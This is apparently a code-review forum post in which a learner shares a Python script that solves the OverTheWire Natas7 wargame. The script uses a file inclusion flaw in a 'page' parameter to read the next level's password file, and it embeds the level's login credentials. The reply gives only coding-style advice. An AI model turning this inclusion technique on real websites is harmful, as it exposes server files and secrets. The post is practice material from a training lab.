My second requests script for a wargame

Question

This is a addition to my previous question earlier today.

I've taken the suggested changes into account and have written a solution to Natas7, a problem that requires some more 'meat' on what I'd consider quite a barebone solution in the previous question.

As with the previous question I'm more keen on knowing if I'm following good coding standard and if there are any potential performance issues.

Here is the script:

import requests, re
from requests.auth import HTTPBasicAuth

HOST = 'http://natas7.natas.labs.overthewire.org/index.php?page=about'
KEYWORD = 'natas8'
PATTERN = re.compile("^([A-Za-z0-9]{32})$")

def get_path(host, credentials):
    """
    This will serve up the path to the password
    using some basic scraping techniques
    :param host:
    :param credentials:
    :return: The path to the password
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.split('\n')
        return next((line.split()[-2:][0] for line in response_lines if 'hint'in line),
                    "Couldn't find hint...")
    except requests.RequestException as e:
        print(e)
def exploit(host, credentials):
    """
    The actual exploit. This will attempt
    to find a string that matches the global 
    regex pattern PATTERN.
    :param host:
    :param credentials:
    :return: The password, if one is found
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.decode('ascii').split('\n')
        return next((line for line in response_lines if PATTERN.match(line)),
                    "Couldn't find the password...")

    except requests.RequestException as e:
        print(e)

def main():
    global HOST
    credentials = ('natas7', '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9')
    path = get_path(HOST, credentials)
    HOST = (HOST.split('='))
    HOST = HOST[0] + '=' + path
    print(KEYWORD + ":" + exploit(HOST, credentials))

if __name__ == '__main__':
    main()

Answer 1

Just a few points of advice:

• avoid using globals. The reason they are bad is that they allow functions to have hidden (as in non-obvious and undeclared) and thus hard to understand side effects. Also, this can lead to spaghetti code.

• try to use str.format when you print out strings:

  print(KEYWORD + ":" + exploit(HOST, credentials))
  

  should be:

  print('{}:{}'.format(KEYWORD, exploit(HOST, credentials)))
  

• your docstrings are partially good. I'm saying partially because telling me things that I already know isn't helping. For example, :param host: or :param credentials:. I already know these are parameters to that function. You could at least specify the data structure they denote.

• consider rewriting this:

  (line for line in response_lines if PATTERN.match(line))
  

  like this:

  (line 
  for line in response_lines 
  if PATTERN.match(line))
  

  The reason I like writing it like this is that it allows you to see more easily that you've changed you're code (on a svn / git repo).